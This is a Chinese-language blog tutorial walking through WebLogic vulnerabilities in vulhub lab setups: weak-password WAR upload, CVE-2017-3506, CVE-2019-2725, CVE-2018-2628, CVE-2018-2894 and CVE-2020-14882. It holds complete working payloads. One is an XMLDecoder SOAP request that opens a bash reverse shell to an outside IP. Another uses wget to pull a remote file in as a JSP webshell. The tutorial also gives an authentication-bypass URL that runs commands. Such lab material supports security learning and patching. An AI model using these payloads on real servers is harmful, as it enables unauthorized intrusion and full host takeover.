常见中间件漏洞:WebLogic篇

Weblogic介绍

WebLogic 是 Oracle 公司开发的一款企业级 Java EE(Java Platform, Enterprise Edition)应用服务器,广泛用于构建、部署和管理分布式企业级应用程序。它是 Java EE 规范的主要实现之一,支持高可用性、可扩展性和安全性,适用于大型企业和关键业务系统。

一、后台弱口令GetShell

描述

通过弱口令进⼊后台界面 , 上传部署war包 , getshell

影响范围

全版本(存在弱口令)

靶场搭建

cd vulhub-master/weblogic/weak_password

docker-compose up -d

步骤

默认账号密码:weblogic/Oracle@123(ps:单个账号错误密码5次之后就会自动锁定)

打开网站

http://8.130.17.222:7001/console/login/LoginForm.jsp
依次点击部署--安装
准备war包(准备过程参考上一期)
然后一直点击下一步,最后点击完成,访问文件
哥斯拉链接即可

二、 CVE-2017-3506

描述

Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的 XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。

影响范围

WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。

靶场搭建

cd vulhub-master/weblogic/weak_password

docker-compose up -d

步骤

访问以下目录中的⼀种,有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

1.验证是否存在wls-wsat组件(出现如下界面即存在)

监听自己端口

当前页面抓包

把请求方法修改为post

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/8.130.17.222/6666 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start"/>
                </object>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

点击发送后即可监听到

修复

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制

三、CVE-2019-2725

描述

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该 WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

影响范围

weblogic 10.x weblogic 12.1.3

靶场搭建

cd vulhub-master/weblogic/weak_password

docker-compose up -d

步骤

1.漏洞验证

http://124.221.58.83:7001/_async/AsyncResponseService

如果出现⼀下页⾯,则说明存在漏洞

在页面抓包,修改请求包 , 写⼊shell
POST /_async/AsyncResponseService HTTP/1.1
Host: 124.221.58.83:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 839
SOAPAction:
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:wsa="http://www.w3.org/2005/08/addressing"
                  xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <void class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                    <void index="0">
                        <string>/bin/bash</string>
                    </void>
                    <void index="1">
                        <string>-c</string>
                    </void>
                    <void index="2">
                        <string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp</string>
                    </void>
                </array>
                <void method="start"/>
            </void>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
        <asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>

访问并连接http://124.221.58.83:7001/bea_wls_internal/678.jsp

四、CVE-2018-2628

描述

是 Oracle WebLogic Server 中的一个高危反序列化漏洞。攻击者可以通过 T3 协议向 WebLogic Server 发送恶意序列化数据,从而在目标服务器上执行任意代码,获取系统控制权限。

影响范围

Oracle WebLogic Server10.3.6.0.0

Oracle WebLogic Server12.1.3.0.0

Oracle WebLogic Server12.2.1.2.0

Oracle WebLogic Server12.2.1.3.0

靶场搭建

cd vulhub-master/weblogic/CVE-2018-2628

docker-compose up -d

步骤

 
使用工具即可

修复

1. 及时更新补丁 ;

2. 禁⽤T3协议 ;

3. 禁⽌T3端口对外开放,或者限制可访问T3端口的IP来源。

4. 升级版本

五、CVE-2018-2894

描述

Weblogic Web Service Test Page中⼀处任意文件上传漏洞,Web Service Test Page 在 "生产模式" 下默认不开启,所以该漏洞有⼀定限制。

影响范围

weblogic 10.3.6.0

weblogic 12.1.3.0

weblogic 12.2.1.2

28weblogic 12.2.1.3

靶场搭建

cd vulhub-master/weblogic/CVE-2018-2894

docker-compose up -d

步骤

这里环境后台密码是随机得,获取密码:

docker-compose logs | grep password
设置web服务测试开启: 域结构 -> base-domain -> 高级 -> 启动Web服务测试页
访问这个网站
把工作目录改为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全--添加

源代码找到数字,复制

访问shell的地址(把数字部分替换为上面复制的数字)

http://8.130.17.222:7001/ws_utc/css/config/keystore/1742738211740_1.jsp

链接即可

六、CVE-2020-14882

描述

32CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。

CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执行任何命令。

使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机

影响范围

Oracle Weblogic Server 10.3.6.0

Oracle Weblogic Server 12.1.3.0

Oracle Weblogic Server 12.2.1.3

Oracle Weblogic Server 12.2.1.4

Oracle Weblogic Server 14.1.1.0

靶场搭建

cd vulhub-master/weblogic/CVE-2020-14882

docker-compose up -d

步骤

1.访问管理控制台
http://8.130.17.222:7001/console/login/LoginForm.jsp
2.使⽤以下url绕过登录认证(一次不行就再试一次)
http://8.130.17.222:7001/console/css/%252e%252e%252fconsole.portal

 

先看一下容器内部文件

 访问下面网址(404就再试一次)

http://8.130.17.222:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

 出行success文件说明成功了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值